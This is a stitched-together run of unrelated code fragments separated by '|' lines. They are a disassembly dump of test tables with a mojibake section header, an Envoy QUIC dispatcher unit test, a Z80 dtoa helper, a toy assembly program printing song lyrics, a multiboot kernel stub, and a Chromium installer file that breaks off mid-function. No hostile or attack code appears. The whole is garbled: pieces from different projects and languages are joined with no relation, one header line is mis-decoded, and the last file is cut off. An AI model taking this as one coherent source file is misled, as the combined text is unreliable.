334ec: 00 00 04 00 *unknown*
000334f0 <T_IMM_DST127>:
334f0: 00 00 04 00 *unknown*
000334f4 <T_IMM_DST128>:
334f4: 00 00 04 00 *unknown*
000334f8 <T_IMM_DST129>:
334f8: 00 00 04 00 *unknown*
000334fc <T_IMM_DST130>:
334fc: 00 00 04 00 *unknown*
00033500 <T_IMM_DST131>:
33500: 00 00 04 00 *unknown*
00033504 <T_IMM_DST132>:
33504: 00 00 00 03 add r0,r3
00033508 <T_IMM_DST133>:
33508: 00 00 00 07 add r0,rtmp
0003350c <T_IMM_DST134>:
3350c: 00 00 00 0f add r0,r15
00033510 <T_IMM_DST135>:
33510: 00 00 00 1f add r0,rret
00033514 <T_IMM_DST136>:
33514: 00 00 00 3f add r1,rret
00033518 <T_IMM_DST137>:
33518: 00 00 00 7f add r3,rret
0003351c <T_IMM_DST138>:
3351c: 00 00 00 ff add rtmp,rret
00033520 <T_IMM_DST139>:
33520: 00 00 01 ff add r15,rret
00033524 <T_IMM_DST140>:
33524: 00 00 03 ff add rret,rret
00033528 <T_IMM_DST141>:
33528: 00 00 07 ff *unknown*
0003352c <T_IMM_EXPECT0>:
3352c: 00 00 00 00 add r0,r0
00033530 <T_IMM_EXPECT1>:
33530: 00 00 00 00 add r0,r0
00033534 <T_IMM_EXPECT2>:
33534: 00 00 00 00 add r0,r0
00033538 <T_IMM_EXPECT3>:
33538: 00 00 00 00 add r0,r0
0003353c <T_IMM_EXPECT4>:
3353c: 00 00 00 00 add r0,r0
00033540 <T_IMM_EXPECT5>:
33540: 00 00 00 00 add r0,r0
00033544 <T_IMM_EXPECT6>:
33544: 00 00 00 00 add r0,r0
00033548 <T_IMM_EXPECT7>:
33548: 00 00 00 00 add r0,r0
0003354c <T_IMM_EXPECT8>:
3354c: 00 00 00 00 add r0,r0
00033550 <T_IMM_EXPECT9>:
33550: 00 00 00 00 add r0,r0
00033554 <T_IMM_EXPECT10>:
33554: 00 00 00 00 add r0,r0
00033558 <T_IMM_EXPECT11>:
33558: 00 00 00 00 add r0,r0
0003355c <T_IMM_EXPECT12>:
3355c: 00 00 00 00 add r0,r0
00033560 <T_IMM_EXPECT13>:
33560: 00 00 00 00 add r0,r0
00033564 <T_IMM_EXPECT14>:
33564: 00 00 00 00 add r0,r0
00033568 <T_IMM_EXPECT15>:
33568: 00 00 00 00 add r0,r0
0003356c <T_IMM_EXPECT16>:
3356c: 00 00 00 00 add r0,r0
00033570 <T_IMM_EXPECT17>:
33570: 00 00 00 00 add r0,r0
00033574 <T_IMM_EXPECT18>:
33574: 00 00 00 00 add r0,r0
00033578 <T_IMM_EXPECT19>:
33578: 00 00 00 00 add r0,r0
0003357c <T_IMM_EXPECT20>:
3357c: 00 00 00 00 add r0,r0
00033580 <T_IMM_EXPECT21>:
33580: 00 00 00 00 add r0,r0
00033584 <T_IMM_EXPECT22>:
33584: 00 00 00 00 add r0,r0
00033588 <T_IMM_EXPECT23>:
33588: 00 00 00 00 add r0,r0
0003358c <T_IMM_EXPECT24>:
3358c: 00 00 00 00 add r0,r0
00033590 <T_IMM_EXPECT25>:
33590: 00 00 00 00 add r0,r0
00033594 <T_IMM_EXPECT26>:
33594: 00 00 00 00 add r0,r0
00033598 <T_IMM_EXPECT27>:
33598: 00 00 00 00 add r0,r0
0003359c <T_IMM_EXPECT28>:
3359c: 00 00 00 00 add r0,r0
000335a0 <T_IMM_EXPECT29>:
335a0: 00 00 00 00 add r0,r0
000335a4 <T_IMM_EXPECT30>:
335a4: 00 00 00 00 add r0,r0
000335a8 <T_IMM_EXPECT31>:
335a8: 00 00 00 00 add r0,r0
000335ac <T_IMM_EXPECT32>:
335ac: 00 00 00 01 add r0,r1
000335b0 <T_IMM_EXPECT33>:
335b0: 00 00 00 00 add r0,r0
000335b4 <T_IMM_EXPECT34>:
335b4: 00 00 00 00 add r0,r0
000335b8 <T_IMM_EXPECT35>:
335b8: 00 00 00 00 add r0,r0
000335bc <T_IMM_EXPECT36>:
335bc: 00 00 00 00 add r0,r0
000335c0 <T_IMM_EXPECT37>:
335c0: 00 00 00 00 add r0,r0
000335c4 <T_IMM_EXPECT38>:
335c4: 00 00 00 00 add r0,r0
000335c8 <T_IMM_EXPECT39>:
335c8: 00 00 00 00 add r0,r0
000335cc <T_IMM_EXPECT40>:
335cc: 00 00 00 00 add r0,r0
000335d0 <T_IMM_EXPECT41>:
335d0: 00 00 00 00 add r0,r0
000335d4 <T_IMM_EXPECT42>:
335d4: 00 00 00 00 add r0,r0
000335d8 <T_IMM_EXPECT43>:
335d8: 00 00 00 03 add r0,r3
000335dc <T_IMM_EXPECT44>:
335dc: 00 00 00 00 add r0,r0
000335e0 <T_IMM_EXPECT45>:
335e0: 00 00 00 00 add r0,r0
000335e4 <T_IMM_EXPECT46>:
335e4: 00 00 00 00 add r0,r0
000335e8 <T_IMM_EXPECT47>:
335e8: 00 00 00 00 add r0,r0
000335ec <T_IMM_EXPECT48>:
335ec: 00 00 00 00 add r0,r0
000335f0 <T_IMM_EXPECT49>:
335f0: 00 00 00 00 add r0,r0
000335f4 <T_IMM_EXPECT50>:
335f4: 00 00 00 00 add r0,r0
000335f8 <T_IMM_EXPECT51>:
335f8: 00 00 00 00 add r0,r0
000335fc <T_IMM_EXPECT52>:
335fc: 00 00 00 00 add r0,r0
00033600 <T_IMM_EXPECT53>:
33600: 00 00 00 00 add r0,r0
00033604 <T_IMM_EXPECT54>:
33604: 00 00 00 07 add r0,rtmp
00033608 <T_IMM_EXPECT55>:
33608: 00 00 00 00 add r0,r0
0003360c <T_IMM_EXPECT56>:
3360c: 00 00 00 00 add r0,r0
00033610 <T_IMM_EXPECT57>:
33610: 00 00 00 00 add r0,r0
00033614 <T_IMM_EXPECT58>:
33614: 00 00 00 00 add r0,r0
00033618 <T_IMM_EXPECT59>:
33618: 00 00 00 00 add r0,r0
0003361c <T_IMM_EXPECT60>:
3361c: 00 00 00 00 add r0,r0
00033620 <T_IMM_EXPECT61>:
33620: 00 00 00 00 add r0,r0
00033624 <T_IMM_EXPECT62>:
33624: 00 00 00 00 add r0,r0
00033628 <T_IMM_EXPECT63>:
33628: 00 00 00 00 add r0,r0
0003362c <T_IMM_EXPECT64>:
3362c: 00 00 00 00 add r0,r0
00033630 <T_IMM_EXPECT65>:
33630: 00 00 00 0f add r0,r15
00033634 <T_IMM_EXPECT66>:
33634: 00 00 00 00 add r0,r0
00033638 <T_IMM_EXPECT67>:
33638: 00 00 00 00 add r0,r0
0003363c <T_IMM_EXPECT68>:
3363c: 00 00 00 00 add r0,r0
00033640 <T_IMM_EXPECT69>:
33640: 00 00 00 00 add r0,r0
00033644 <T_IMM_EXPECT70>:
33644: 00 00 00 00 add r0,r0
00033648 <T_IMM_EXPECT71>:
33648: 00 00 00 00 add r0,r0
0003364c <T_IMM_EXPECT72>:
3364c: 00 00 00 00 add r0,r0
00033650 <T_IMM_EXPECT73>:
33650: 00 00 00 00 add r0,r0
00033654 <T_IMM_EXPECT74>:
33654: 00 00 00 00 add r0,r0
00033658 <T_IMM_EXPECT75>:
33658: 00 00 00 00 add r0,r0
0003365c <T_IMM_EXPECT76>:
3365c: 00 00 00 1f add r0,rret
00033660 <T_IMM_EXPECT77>:
33660: 00 00 00 00 add r0,r0
00033664 <T_IMM_EXPECT78>:
33664: 00 00 00 00 add r0,r0
00033668 <T_IMM_EXPECT79>:
33668: 00 00 00 00 add r0,r0
0003366c <T_IMM_EXPECT80>:
3366c: 00 00 00 00 add r0,r0
00033670 <T_IMM_EXPECT81>:
33670: 00 00 00 00 add r0,r0
00033674 <T_IMM_EXPECT82>:
33674: 00 00 00 00 add r0,r0
00033678 <T_IMM_EXPECT83>:
33678: 00 00 00 00 add r0,r0
0003367c <T_IMM_EXPECT84>:
3367c: 00 00 00 00 add r0,r0
00033680 <T_IMM_EXPECT85>:
33680: 00 00 00 00 add r0,r0
00033684 <T_IMM_EXPECT86>:
33684: 00 00 00 00 add r0,r0
00033688 <T_IMM_EXPECT87>:
33688: 00 00 00 3f add r1,rret
0003368c <T_IMM_EXPECT88>:
3368c: 00 00 00 00 add r0,r0
00033690 <T_IMM_EXPECT89>:
33690: 00 00 00 00 add r0,r0
00033694 <T_IMM_EXPECT90>:
33694: 00 00 00 00 add r0,r0
00033698 <T_IMM_EXPECT91>:
33698: 00 00 00 00 add r0,r0
0003369c <T_IMM_EXPECT92>:
3369c: 00 00 00 00 add r0,r0
000336a0 <T_IMM_EXPECT93>:
336a0: 00 00 00 00 add r0,r0
000336a4 <T_IMM_EXPECT94>:
336a4: 00 00 00 00 add r0,r0
000336a8 <T_IMM_EXPECT95>:
336a8: 00 00 00 00 add r0,r0
000336ac <T_IMM_EXPECT96>:
336ac: 00 00 00 00 add r0,r0
000336b0 <T_IMM_EXPECT97>:
336b0: 00 00 00 00 add r0,r0
000336b4 <T_IMM_EXPECT98>:
336b4: 00 00 00 7f add r3,rret
000336b8 <T_IMM_EXPECT99>:
336b8: 00 00 00 00 add r0,r0
000336bc <T_IMM_EXPECT100>:
336bc: 00 00 00 00 add r0,r0
000336c0 <T_IMM_EXPECT101>:
336c0: 00 00 00 00 add r0,r0
000336c4 <T_IMM_EXPECT102>:
336c4: 00 00 00 00 add r0,r0
000336c8 <T_IMM_EXPECT103>:
336c8: 00 00 00 00 add r0,r0
000336cc <T_IMM_EXPECT104>:
336cc: 00 00 00 00 add r0,r0
000336d0 <T_IMM_EXPECT105>:
336d0: 00 00 00 00 add r0,r0
000336d4 <T_IMM_EXPECT106>:
336d4: 00 00 00 00 add r0,r0
000336d8 <T_IMM_EXPECT107>:
336d8: 00 00 00 00 add r0,r0
000336dc <T_IMM_EXPECT108>:
336dc: 00 00 00 00 add r0,r0
000336e0 <T_IMM_EXPECT109>:
336e0: 00 00 00 ff add rtmp,rret
000336e4 <T_IMM_EXPECT110>:
336e4: 00 00 00 00 add r0,r0
000336e8 <T_IMM_EXPECT111>:
336e8: 00 00 00 00 add r0,r0
000336ec <T_IMM_EXPECT112>:
336ec: 00 00 00 00 add r0,r0
000336f0 <T_IMM_EXPECT113>:
336f0: 00 00 00 00 add r0,r0
000336f4 <T_IMM_EXPECT114>:
336f4: 00 00 00 00 add r0,r0
000336f8 <T_IMM_EXPECT115>:
336f8: 00 00 00 00 add r0,r0
000336fc <T_IMM_EXPECT116>:
336fc: 00 00 00 00 add r0,r0
00033700 <T_IMM_EXPECT117>:
33700: 00 00 00 00 add r0,r0
00033704 <T_IMM_EXPECT118>:
33704: 00 00 00 00 add r0,r0
00033708 <T_IMM_EXPECT119>:
33708: 00 00 00 00 add r0,r0
0003370c <T_IMM_EXPECT120>:
3370c: 00 00 01 ff add r15,rret
00033710 <T_IMM_EXPECT121>:
33710: 00 00 00 00 add r0,r0
00033714 <T_IMM_EXPECT122>:
33714: 00 00 00 00 add r0,r0
00033718 <T_IMM_EXPECT123>:
33718: 00 00 00 00 add r0,r0
0003371c <T_IMM_EXPECT124>:
3371c: 00 00 00 00 add r0,r0
00033720 <T_IMM_EXPECT125>:
33720: 00 00 00 00 add r0,r0
00033724 <T_IMM_EXPECT126>:
33724: 00 00 00 00 add r0,r0
00033728 <T_IMM_EXPECT127>:
33728: 00 00 00 00 add r0,r0
0003372c <T_IMM_EXPECT128>:
3372c: 00 00 00 00 add r0,r0
00033730 <T_IMM_EXPECT129>:
33730: 00 00 00 00 add r0,r0
00033734 <T_IMM_EXPECT130>:
33734: 00 00 00 00 add r0,r0
00033738 <T_IMM_EXPECT131>:
33738: 00 00 03 ff add rret,rret
0003373c <T_IMM_EXPECT132>:
3373c: 00 00 00 00 add r0,r0
00033740 <T_IMM_EXPECT133>:
33740: 00 00 00 00 add r0,r0
00033744 <T_IMM_EXPECT134>:
33744: 00 00 00 00 add r0,r0
00033748 <T_IMM_EXPECT135>:
33748: 00 00 00 00 add r0,r0
0003374c <T_IMM_EXPECT136>:
3374c: 00 00 00 00 add r0,r0
00033750 <T_IMM_EXPECT137>:
33750: 00 00 00 00 add r0,r0
00033754 <T_IMM_EXPECT138>:
33754: 00 00 00 00 add r0,r0
00033758 <T_IMM_EXPECT139>:
33758: 00 00 00 00 add r0,r0
0003375c <T_IMM_EXPECT140>:
3375c: 00 00 00 00 add r0,r0
00033760 <T_IMM_EXPECT141>:
33760: 00 00 07 fe *unknown*
ใปใฏใทใงใณ .stack ใฎ้ใขใปใณใใซ:
000f0000 <STACK_INDEX>:
f0000: 00 00 00 00 add r0,r0
|
#include <openssl/evp.h>
#if defined(__GNUC__)
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wunused-parameter"
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
#endif
#include "quiche/quic/core/quic_dispatcher.h"
#include "quiche/quic/test_tools/quic_dispatcher_peer.h"
#include "quiche/quic/test_tools/crypto_test_utils.h"
#include "quiche/quic/test_tools/quic_test_utils.h"
#if defined(__GNUC__)
#pragma GCC diagnostic pop
#endif
#include <memory>
#include "source/common/quic/envoy_quic_connection_helper.h"
#include "source/common/network/listen_socket_impl.h"
#include "test/test_common/simulated_time_system.h"
#include "test/test_common/environment.h"
#include "test/mocks/network/mocks.h"
#include "test/test_common/utility.h"
#include "test/test_common/network_utility.h"
#include "source/common/quic/platform/envoy_quic_clock.h"
#include "source/common/quic/envoy_quic_utils.h"
#include "source/common/quic/envoy_quic_dispatcher.h"
#include "source/common/quic/envoy_quic_server_session.h"
#include "test/common/quic/test_proof_source.h"
#include "test/common/quic/test_utils.h"
#include "source/common/quic/envoy_quic_alarm_factory.h"
#include "source/common/quic/envoy_quic_utils.h"
#include "source/extensions/quic/crypto_stream/envoy_quic_crypto_server_stream.h"
#include "source/server/configuration_impl.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"
using testing::Invoke;
using testing::Return;
using testing::ReturnRef;
namespace Envoy {
namespace Quic {
namespace {
const size_t kNumSessionsToCreatePerLoopForTests = 16;
}
class EnvoyQuicDispatcherTest : public testing::TestWithParam<Network::Address::IpVersion>,
protected Logger::Loggable<Logger::Id::main> {
public:
EnvoyQuicDispatcherTest()
: version_(GetParam()), api_(Api::createApiForTest(time_system_)),
dispatcher_(api_->allocateDispatcher("test_thread")),
listen_socket_(std::make_unique<Network::NetworkListenSocket<
Network::NetworkSocketTrait<Network::Socket::Type::Datagram>>>(
Network::Test::getCanonicalLoopbackAddress(version_), nullptr, /*bind*/ true)),
connection_helper_(*dispatcher_), proof_source_(new TestProofSource()),
crypto_config_(quic::QuicCryptoServerConfig::TESTING, quic::QuicRandom::GetInstance(),
std::unique_ptr<TestProofSource>(proof_source_),
quic::KeyExchangeSource::Default()),
version_manager_(quic::CurrentSupportedHttp3Versions()),
quic_version_(version_manager_.GetSupportedVersions()[0]),
listener_stats_({ALL_LISTENER_STATS(POOL_COUNTER(listener_config_.listenerScope()),
POOL_GAUGE(listener_config_.listenerScope()),
POOL_HISTOGRAM(listener_config_.listenerScope()))}),
per_worker_stats_({ALL_PER_HANDLER_LISTENER_STATS(
POOL_COUNTER_PREFIX(listener_config_.listenerScope(), "worker."),
POOL_GAUGE_PREFIX(listener_config_.listenerScope(), "worker."))}),
quic_stat_names_(listener_config_.listenerScope().symbolTable()),
connection_handler_(*dispatcher_, absl::nullopt),
envoy_quic_dispatcher_(
&crypto_config_, quic_config_, &version_manager_,
std::make_unique<EnvoyQuicConnectionHelper>(*dispatcher_),
std::make_unique<EnvoyQuicAlarmFactory>(*dispatcher_, *connection_helper_.GetClock()),
quic::kQuicDefaultConnectionIdLength, connection_handler_, listener_config_,
listener_stats_, per_worker_stats_, *dispatcher_, *listen_socket_, quic_stat_names_,
crypto_stream_factory_),
connection_id_(quic::test::TestConnectionId(1)) {
auto writer = new testing::NiceMock<quic::test::MockPacketWriter>();
envoy_quic_dispatcher_.InitializeWithWriter(writer);
EXPECT_CALL(*writer, WritePacket(_, _, _, _, _))
.WillRepeatedly(Return(quic::WriteResult(quic::WRITE_STATUS_OK, 0)));
}
void SetUp() override {
// Advance time a bit because QuicTime regards 0 as uninitialized timestamp.
time_system_.advanceTimeAndRun(std::chrono::milliseconds(100), *dispatcher_,
Event::Dispatcher::RunType::NonBlock);
EXPECT_CALL(listener_config_, perConnectionBufferLimitBytes())
.WillRepeatedly(Return(1024 * 1024));
}
void TearDown() override {
quic::QuicBufferedPacketStore* buffered_packets =
quic::test::QuicDispatcherPeer::GetBufferedPackets(&envoy_quic_dispatcher_);
EXPECT_FALSE(buffered_packets->HasChlosBuffered());
EXPECT_FALSE(buffered_packets->HasBufferedPackets(connection_id_));
envoy_quic_dispatcher_.Shutdown();
dispatcher_->run(Event::Dispatcher::RunType::NonBlock);
}
void processValidChloPacket(const quic::QuicSocketAddress& peer_addr) {
// Create a Quic Crypto or TLS1.3 CHLO packet.
EnvoyQuicClock clock(*dispatcher_);
Buffer::OwnedImpl payload =
generateChloPacketToSend(quic_version_, quic_config_, connection_id_);
Buffer::RawSliceVector slice = payload.getRawSlices();
ASSERT(slice.size() == 1);
auto encrypted_packet = std::make_unique<quic::QuicEncryptedPacket>(
static_cast<char*>(slice[0].mem_), slice[0].len_);
std::unique_ptr<quic::QuicReceivedPacket> received_packet =
std::unique_ptr<quic::QuicReceivedPacket>(
quic::test::ConstructReceivedPacket(*encrypted_packet, clock.Now()));
envoy_quic_dispatcher_.ProcessPacket(
envoyIpAddressToQuicSocketAddress(listen_socket_->addressProvider().localAddress()->ip()),
peer_addr, *received_packet);
}
void processValidChloPacketAndCheckStatus(bool should_buffer) {
quic::QuicSocketAddress peer_addr(version_ == Network::Address::IpVersion::v4
? quic::QuicIpAddress::Loopback4()
: quic::QuicIpAddress::Loopback6(),
54321);
quic::QuicBufferedPacketStore* buffered_packets =
quic::test::QuicDispatcherPeer::GetBufferedPackets(&envoy_quic_dispatcher_);
if (!should_buffer) {
// Set QuicDispatcher::new_sessions_allowed_per_event_loop_ to
// |kNumSessionsToCreatePerLoopForTests| so that received CHLOs can be
// processed immediately.
envoy_quic_dispatcher_.ProcessBufferedChlos(kNumSessionsToCreatePerLoopForTests);
EXPECT_FALSE(buffered_packets->HasChlosBuffered());
EXPECT_FALSE(buffered_packets->HasBufferedPackets(connection_id_));
}
processValidChloPacket(peer_addr);
if (should_buffer) {
// Incoming CHLO packet is buffered, because ProcessPacket() is called before
// ProcessBufferedChlos().
EXPECT_TRUE(buffered_packets->HasChlosBuffered());
EXPECT_TRUE(buffered_packets->HasBufferedPackets(connection_id_));
// Process the buffered CHLO now.
envoy_quic_dispatcher_.ProcessBufferedChlos(kNumSessionsToCreatePerLoopForTests);
}
EXPECT_FALSE(buffered_packets->HasChlosBuffered());
EXPECT_FALSE(buffered_packets->HasBufferedPackets(connection_id_));
// A new QUIC connection is created and its filter installed based on self and peer address.
EXPECT_EQ(1u, envoy_quic_dispatcher_.NumSessions());
const quic::QuicSession* session =
quic::test::QuicDispatcherPeer::FindSession(&envoy_quic_dispatcher_, connection_id_);
ASSERT(session != nullptr);
EXPECT_TRUE(session->IsEncryptionEstablished());
EXPECT_EQ(1u, connection_handler_.numConnections());
auto envoy_connection = static_cast<const EnvoyQuicServerSession*>(session);
EXPECT_EQ("test.example.org", envoy_connection->requestedServerName());
EXPECT_EQ(peer_addr, envoyIpAddressToQuicSocketAddress(
envoy_connection->addressProvider().remoteAddress()->ip()));
ASSERT(envoy_connection->addressProvider().localAddress() != nullptr);
EXPECT_EQ(*listen_socket_->addressProvider().localAddress(),
*envoy_connection->addressProvider().localAddress());
EXPECT_EQ(64 * 1024, envoy_connection->max_inbound_header_list_size());
}
void processValidChloPacketAndInitializeFilters(bool should_buffer) {
Network::MockFilterChainManager filter_chain_manager;
std::shared_ptr<Network::MockReadFilter> read_filter(new Network::MockReadFilter());
Network::MockConnectionCallbacks network_connection_callbacks;
testing::StrictMock<Stats::MockCounter> read_total;
testing::StrictMock<Stats::MockGauge> read_current;
testing::StrictMock<Stats::MockCounter> write_total;
testing::StrictMock<Stats::MockGauge> write_current;
std::vector<Network::FilterFactoryCb> filter_factory(
{[&](Network::FilterManager& filter_manager) {
filter_manager.addReadFilter(read_filter);
read_filter->callbacks_->connection().addConnectionCallbacks(
network_connection_callbacks);
read_filter->callbacks_->connection().setConnectionStats(
{read_total, read_current, write_total, write_current, nullptr, nullptr});
}});
EXPECT_CALL(listener_config_, filterChainManager()).WillOnce(ReturnRef(filter_chain_manager));
EXPECT_CALL(filter_chain_manager, findFilterChain(_))
.WillOnce(Invoke([this](const Network::ConnectionSocket& socket) {
EXPECT_EQ("h3", socket.requestedApplicationProtocols()[0]);
EXPECT_EQ("test.example.org", socket.requestedServerName());
return &proof_source_->filterChain();
}));
Network::MockTransportSocketFactory transport_socket_factory;
EXPECT_CALL(proof_source_->filterChain(), transportSocketFactory())
.WillOnce(ReturnRef(transport_socket_factory));
EXPECT_CALL(proof_source_->filterChain(), networkFilterFactories())
.WillOnce(ReturnRef(filter_factory));
EXPECT_CALL(listener_config_, filterChainFactory());
EXPECT_CALL(listener_config_.filter_chain_factory_, createNetworkFilterChain(_, _))
.WillOnce(Invoke([](Network::Connection& connection,
const std::vector<Network::FilterFactoryCb>& filter_factories) {
EXPECT_EQ(1u, filter_factories.size());
Server::Configuration::FilterChainUtility::buildFilterChain(connection, filter_factories);
dynamic_cast<EnvoyQuicServerSession&>(connection)
.set_max_inbound_header_list_size(64 * 1024);
return true;
}));
EXPECT_CALL(*read_filter, onNewConnection())
// Stop iteration to avoid calling getRead/WriteBuffer().
.WillOnce(Return(Network::FilterStatus::StopIteration));
processValidChloPacketAndCheckStatus(should_buffer);
EXPECT_CALL(network_connection_callbacks, onEvent(Network::ConnectionEvent::LocalClose));
// Shutdown() to close the connection.
envoy_quic_dispatcher_.Shutdown();
}
protected:
Network::Address::IpVersion version_;
Event::SimulatedTimeSystemHelper time_system_;
Api::ApiPtr api_;
Event::DispatcherPtr dispatcher_;
Network::SocketPtr listen_socket_;
EnvoyQuicConnectionHelper connection_helper_;
TestProofSource* proof_source_;
quic::QuicCryptoServerConfig crypto_config_;
quic::QuicConfig quic_config_;
quic::QuicVersionManager version_manager_;
quic::ParsedQuicVersion quic_version_;
testing::NiceMock<Network::MockListenerConfig> listener_config_;
Server::ListenerStats listener_stats_;
Server::PerHandlerListenerStats per_worker_stats_;
QuicStatNames quic_stat_names_;
Server::ConnectionHandlerImpl connection_handler_;
EnvoyQuicCryptoServerStreamFactoryImpl crypto_stream_factory_;
EnvoyQuicDispatcher envoy_quic_dispatcher_;
const quic::QuicConnectionId connection_id_;
};
INSTANTIATE_TEST_SUITE_P(EnvoyQuicDispatcherTests, EnvoyQuicDispatcherTest,
testing::ValuesIn(TestEnvironment::getIpVersionsForTest()),
TestUtility::ipTestParamsToString);
TEST_P(EnvoyQuicDispatcherTest, CreateNewConnectionUponCHLO) {
processValidChloPacketAndInitializeFilters(false);
}
TEST_P(EnvoyQuicDispatcherTest, CloseConnectionDuringFilterInstallation) {
Network::MockFilterChainManager filter_chain_manager;
std::shared_ptr<Network::MockReadFilter> read_filter(new Network::MockReadFilter());
Network::MockConnectionCallbacks network_connection_callbacks;
testing::StrictMock<Stats::MockCounter> read_total;
testing::StrictMock<Stats::MockGauge> read_current;
testing::StrictMock<Stats::MockCounter> write_total;
testing::StrictMock<Stats::MockGauge> write_current;
std::vector<Network::FilterFactoryCb> filter_factory(
{[&](Network::FilterManager& filter_manager) {
filter_manager.addReadFilter(read_filter);
read_filter->callbacks_->connection().addConnectionCallbacks(network_connection_callbacks);
read_filter->callbacks_->connection().setConnectionStats(
{read_total, read_current, write_total, write_current, nullptr, nullptr});
// This will not close connection right away, but after it processes the first packet.
read_filter->callbacks_->connection().close(Network::ConnectionCloseType::NoFlush);
}});
EXPECT_CALL(listener_config_, filterChainManager()).WillOnce(ReturnRef(filter_chain_manager));
EXPECT_CALL(filter_chain_manager, findFilterChain(_))
.WillOnce(Return(&proof_source_->filterChain()));
Network::MockTransportSocketFactory transport_socket_factory;
EXPECT_CALL(proof_source_->filterChain(), transportSocketFactory())
.WillOnce(ReturnRef(transport_socket_factory));
EXPECT_CALL(proof_source_->filterChain(), networkFilterFactories())
.WillOnce(ReturnRef(filter_factory));
EXPECT_CALL(listener_config_, filterChainFactory());
EXPECT_CALL(listener_config_.filter_chain_factory_, createNetworkFilterChain(_, _))
.WillOnce(Invoke([](Network::Connection& connection,
const std::vector<Network::FilterFactoryCb>& filter_factories) {
EXPECT_EQ(1u, filter_factories.size());
Server::Configuration::FilterChainUtility::buildFilterChain(connection, filter_factories);
return true;
}));
EXPECT_CALL(*read_filter, onNewConnection())
// Stop iteration to avoid calling getRead/WriteBuffer().
.WillOnce(Return(Network::FilterStatus::StopIteration));
EXPECT_CALL(network_connection_callbacks, onEvent(Network::ConnectionEvent::LocalClose));
quic::QuicSocketAddress peer_addr(version_ == Network::Address::IpVersion::v4
? quic::QuicIpAddress::Loopback4()
: quic::QuicIpAddress::Loopback6(),
54321);
// Set QuicDispatcher::new_sessions_allowed_per_event_loop_ to
// |kNumSessionsToCreatePerLoopForTests| so that received CHLOs can be
// processed immediately.
envoy_quic_dispatcher_.ProcessBufferedChlos(kNumSessionsToCreatePerLoopForTests);
processValidChloPacket(peer_addr);
}
TEST_P(EnvoyQuicDispatcherTest, CreateNewConnectionUponBufferedCHLO) {
processValidChloPacketAndInitializeFilters(true);
}
} // namespace Quic
} // namespace Envoy
|
SECTION code_clib
SECTION code_stdlib
PUBLIC __dtoa_special_form
EXTERN asm_strcpy, __dtoa_nan_s, __dtoa_inf_s
__dtoa_special_form:
; A = fpclassify = 1 if zero, 2 if nan, 3 if inf
; E = precision
; HL = buffer_dst *
; IX = buffer *
; carry reset
;
; (IX-6) = flags, bit 7 = 'N', bit 4 = '#', bit 0 = precision==0
; (IX-5) = iz (number of zeroes to insert before .)
; (IX-4) = fz (number of zeroes to insert after .)
; (IX-3) = tz (number of zeroes to append)
; (IX-2) = ignore
; (IX-1) = '0' marks start of buffer
dec a
jr z, zero
ld de,__dtoa_nan_s
dec a
jr z, string
ld de,__dtoa_inf_s
string:
ex de,hl
call asm_strcpy
ex de,hl
scf
ret ; return with carry set to indicate string
zero:
ld (hl),'0'
inc hl
ld (hl),'.'
inc hl
ld d,0 ; exponent = 0
ld (ix-3),e ; number of trailing zeroes = precision
ret ; return with carry reset to indicate zero
|
; Writes Smash Mouth - All Star lyrics to the output
JMP main
serr:
DB "Error: String too large" ; Variable
DB 0 ; String terminator
s1:
DB "Somebody once told me" ; Variable
DB 0 ; String terminator
s2:
DB "the world is gonna roll" ; string
DB 0
s3:
DB "me. I ain't the sharpest" ; string
DB 0
s4:
DB "tool in the shed" ; string
DB 0
err:
MOV C, serr ; Point to var
CALL print
HLT
clear:
MOV D, 232 ; Point to output
.clearloop:
MOV [D], 32 ; Write to output
INC D
CMP D, 0 ; Check if end
JNZ .clearloop ; jump if not
RET
print:
CALL clear
MOV B, 0
MOV D, 232 ; Point to output
.printloop:
CMP D, 0 ; Check if string too long
JZ err
MOV A, [C] ; Get char from var
MOV [D], A ; Write to output
INC C
INC D
CMP B, [C] ; Check if end
JNZ .printloop ; jump if not
RET
main:
MOV C, s1 ; Point to var
CALL print
MOV C, s2
CALL print
MOV C, s3
CALL print
MOV C, s4
CALL print
HLT ; Stop
|
;;kernel.asm
%define MAGIC 0x1BADB002
%define FLAGS 0x00
%define CHECKSUM -(MAGIC + FLAGS)
%define STACKSIZE 8192
bits 32 ;nasm directive - generate code to run
;on a processor operating in 32 bits
section .text
align 4
multiboot_header:
dd MAGIC ;dd MAGIC
dd FLAGS
dd CHECKSUM ;dd CHECKSUM
global start ;set the 'start' symbol as a global
extern kmain
start:
cli ;block interrupts
mov esp, stack_space + STACKSIZE ;set stack pointer
call kmain
hlt ;halt the CPU
section .bss
stack_space:
resb STACKSIZE ;8KB for stack |
// Copyright (c) 2009 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/installer/util/copy_tree_work_item.h"
#include <shlwapi.h>
#include "base/file_util.h"
#include "chrome/installer/util/logging_installer.h"
CopyTreeWorkItem::~CopyTreeWorkItem() {
if (file_util::PathExists(backup_path_)) {
file_util::Delete(backup_path_, true);
}
}
CopyTreeWorkItem::CopyTreeWorkItem(const std::wstring& source_path,
const std::wstring& dest_path,
const std::wstring& temp_dir,
CopyOverWriteOption overwrite_option,
const std::wstring& alternative_path)
: source_path_(source_path),
dest_path_(dest_path),
temp_dir_(temp_dir),
overwrite_option_(overwrite_option),
alternative_path_(alternative_path),
copied_to_dest_path_(false),
moved_to_backup_(false),
copied_to_alternate_path_(false) {
}
bool CopyTreeWorkItem::Do() {
if (!file_util::PathExists(source_path_)) {
LOG(ERROR) << source_path_ << " does not exist";
return false;
}
bool dest_exist = file_util::PathExists(dest_path_);
// handle overwrite_option_ = IF_DIFFERENT case.
if ((dest_exist) &&
(overwrite_option_ == WorkItem::IF_DIFFERENT) && // only for single file
(!PathIsDirectory(source_path_.c_str())) &&
(!PathIsDirectory(dest_path_.c_str())) &&
(file_util::ContentsEqual(source_path_, dest_path_))) {
LOG(INFO) << "Source file " << source_path_
<< " and destination file " << dest_path_
<< " are exactly same. Returning true.";
return true;
} else if ((dest_exist) &&
(overwrite_option_ == WorkItem::NEW_NAME_IF_IN_USE) &&
(!PathIsDirectory(source_path_.c_str())) &&
(!PathIsDirectory(dest_path_.c_str())) &&
(IsFileInUse(dest_path_))) {
// handle overwrite_option_ = NEW_NAME_IF_IN_USE case.
if (alternative_path_.empty() ||
file_util::PathExists(alternative_path_) ||
!file_util::CopyFile(source_path_, alternative_path_)) {
LOG(ERROR) << "failed to copy " << source_path_ <<
" to " << alternative_path_;
return false;
} else {
